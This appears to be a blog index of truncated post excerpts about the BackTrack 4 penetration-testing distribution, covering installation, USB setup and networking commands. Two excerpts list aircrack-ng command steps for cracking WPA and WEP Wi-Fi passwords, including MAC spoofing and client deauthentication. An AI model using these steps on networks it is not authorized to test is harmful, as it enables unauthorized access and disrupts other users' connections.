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Installing BackTrack 4 Final

Installing BackTrack 4 Final couldn’t be easier.  I’ve expanded just a little on the simple installation instructions from BackTrack.  Follow these simple instructions and you’ll be using BackTrack 4 Final in no time.  NOTE: These instructions assume you are going to use the entire disk on your computer for BackTrack. First, boot the the BackTrack 4 Final DVD. […]

BackTrack 4 Final Released

The much anticipated BackTrack 4 Final has been released – FINALLY! BackTrack 4 is the highest rated and acclaimed Linux security distribution to date. BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking. Regardless if you’re making BackTrack your primary operating system, […]

Building the Perfect Backtrack 4 USB Thumb Drive

This post will show you how to build a USB thumb drive with the following features: Persistent Changes Nessus and NessusClient installed Encryption configured for storing data Tools and Supplies USB thumbdrive – minimum capacity 4GB BackTrack 3 CDROM, BackTrack 4 DVD or an additional USB thumbdrive (minimum 2GB) – Used to partition the thumbdrive. Optional: UNetbootin – A […]

How to Start Networking in BackTrack 4

Since BackTrack 4 (Pre-Release and Beta) doesn’t start networking by default you have to manually start it.  Here’s how to start it manually: /etc/init.d/networking start If you have installed BackTrack 4 to disk you can enable networking to start at boot using: update-rc.d networking defaults And finally, you can start wireless networking in BackTrack 4 using: /etc/init.d/NetworkManager start […]

Shutdown Command for BackTrack 3 or 4

Since BackTrack is built on Linux you can shutdown BackTrack from the shell using poweroff or restart it with reboot. BackTrack links How to Start Networking in BackTrack 4 HowTo: Crack WPA with Backtrack 3 HowTo: Crack WEP with BackTrack 3 How To Install Backtrack4 Using Grub On Ubuntu How to install BT4 dualboot xp on your HDD without vmware or dvd […]

HowTo: Crack WPA with Backtrack 3

This is an easy to follow tutorial on how to crack a WPA encrypted password. This information should only be used for education purposes. Steps: airmon-ng stop wlan0 ifconfig wlan0 down macchanger –mac 00:11:22:33:44:55 wlan0 airmon-ng start wlan0 airodump-ng wlan0 airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0 aireplay-ng -0 5 -a (bssid)wlan0 aircrack-ng (filename-01.cap)-w (dictionary location) […]

HowTo: Crack WEP with BackTrack 3

This is a tutorial on how to crack a wep encrypted password. This information should only be used for education purposes. Steps: airmon-ng stop wlan0 ifconfig wlan0 down macchanger –mac 00:11:22:33:44:55 wlan0 airmon-ng start wlan0 airodump-ng wlan0 airodump-ng -c (channel) -w (file name) –bssid (bssid) wlan0 aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0 aireplay-ng -3 -b (bssid) […]

How To Install Backtrack4 Using Grub On Ubuntu

Backtrack is an operating system that is specially designed for networking security. Bactrack OS is based on Linux. As of this writing the latest version of Bactrack is Backtrack4 with many, many useful applications. Before installing BT4, make sure you have installed Ubuntu on your computer so we can use Ubuntu’s Grub for booting. Follow these steps to install and configure dual booting Ubuntu / Backtrack4. Prepare your […]